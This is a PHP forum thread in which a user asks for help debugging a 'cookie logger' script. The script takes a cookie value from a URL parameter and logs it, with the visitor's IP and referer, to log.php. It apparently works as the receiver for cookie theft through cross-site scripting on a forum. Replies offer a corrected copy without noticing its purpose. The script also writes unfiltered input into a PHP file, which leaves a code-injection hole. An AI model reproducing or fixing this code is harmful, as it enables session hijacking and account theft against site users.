Cookie logger help with bad code

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
johndoeS
Forum Newbie
Posts: 1
Joined: Tue Jul 19, 2005 7:02 am

Cookie logger help with bad code

Post by johndoeS »

im using the code to log cookies below

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.php', 'a');
fwrite($fp, 'Cookie: ' .$cookie. '<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

it logs the ip data and cookie and the http referer to a file log.php

the problem is


Code: Select all

output:Cookie:---THE LOGGED COOKIE SHUD BE HERE--- <br> IP: localhost<br> Date and Time: 19 July, 2005, 8:08 am<br> Referer: http://website.com/forum_viewtopic.php?5.2.10<br><br><br>


all the other stuff like date,ip,time is being logged except the cookie

can anybody see error in the code causing this

thanks
choppsta
Forum Contributor
Posts: 114
Joined: Thu Jul 03, 2003 11:11 am

Post by choppsta »

If I understand correctly, you're getting your cookie value from $_GET['c']. This is the value of a variable called 'c' supplied in the query string of the request (e.g. page.php?c=value).

I think what you need is to access the cookie value from the $_COOKIE super global array (e.g. $cookie = $_COOKIE['c']; ).
User avatar
Ambush Commander
DevNet Master
Posts: 3698
Joined: Mon Oct 25, 2004 9:29 pm
Location: New Jersey, US

Post by Ambush Commander »

Cut 'n paste:

Code: Select all

<?php
$cookie = $_COOKIE['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.php', 'a');
fwrite($fp, 'Cookie: ' .$cookie. '<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
Use

Code: Select all

 tags when posting, hmm.
Post Reply